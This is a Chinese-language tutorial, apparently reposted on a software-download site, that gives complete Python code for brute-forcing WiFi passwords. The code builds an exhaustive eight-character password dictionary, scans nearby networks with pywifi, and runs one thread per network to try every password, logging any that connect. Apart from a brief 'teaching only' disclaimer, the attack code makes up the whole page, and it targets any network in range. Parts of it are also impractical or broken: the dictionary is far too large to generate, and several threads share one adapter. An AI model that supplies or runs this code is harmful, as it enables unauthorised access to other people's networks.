Python利用多线程枚举实现获取wifi信息

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

Python利用多线程枚举实现获取wifi信息

Sir 老王   2022-12-14 我要评论

由于是通过枚举字典的方式来实现的,因此在开始之前我们需要先构建好密码字典。

通过对密码字典挨个进行试错的方式获取正确wifi名称和密码,此内容只可以用于知识讲解不允许任何商业用途使用。

开始之前需要先将需要的python非标准模块安装一下,若已安装请忽略。

pip install pywifi -i http://pypi.tuna.tsinghua.edu.cn/simple

pip install comtypes -i http://pypi.tuna.tsinghua.edu.cn/simple

然后使用python内置的模块itertools生成后面需要的密码字典。

# Itertools is a module that provides a number of functions that work with iterators to produce complex iterators.
import itertools as its

# Importing the threading module.
import threading

# It's a logging library.
from loguru import logger

初始化字典项包含的正常字符以及特殊字符。

text = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=-"

提取随机组合长度为8位的字符串,因为一般密码长度为8位,可根据实际情况设置提取位数。

result_ = its.product(text, repeat=8)

dic = open("pwd.txt","a")

for i in result_:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

这个时候字典已经生成好了,我们需要使用wifi网卡对信号范围内的wifi进行扫描。

# *|CURSOR_MARCADOR|*
from pywifi import const, PyWiFi, Profile

# It's just an alias for the time module.
from time import sleep
wifi = PyWiFi()
interface = wifi.interfaces()[0]

interface.scan()
sleep(3)
wifis = interface.scan_results()

print(wifis)

经过网卡的scan函数扫描,如今信号范围内的wifi名称信息也都获取完成了。

为了方便后面使用多线程进行枚举字典的遍历,这里我们编写一个函数connect_wifi函数用来连接wifi。

def connect_wifi(wifi_name=None, wifi_pass_path=None, interface=None):
    with open(wifi_pass_path, 'r') as file_pwd:
        for pd in file_pwd:
            pd = pd.strip('\n')
            if interface.status() == const.IFACE_CONNECTED:
                interface.disconnect()
                sleep(2)

            profile = Profile()  # 配置文件
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN  # 需要密码
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = pd

            interface.remove_all_network_profiles()  # 删除其它配置文件
            tmp_profile = interface.add_network_profile(profile)  # 加载配置文件
            interface.connect(tmp_profile)

            sleep(3)

            if interface.status() == const.IFACE_CONNECTED:
                logger.info('连接成功,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))
                break
            else:
                logger.error('连接失败,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))

上面单个wifi连接的函数完成之后,为了提升效率我们使用一个线程获取一个wifi的连接方式获取wifi名称和密码。

for w in wifis:
    t = threading.Thread(target=connect_wifi, args=(w.ssid, 'pwd.txt', interface))
    t.start()

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们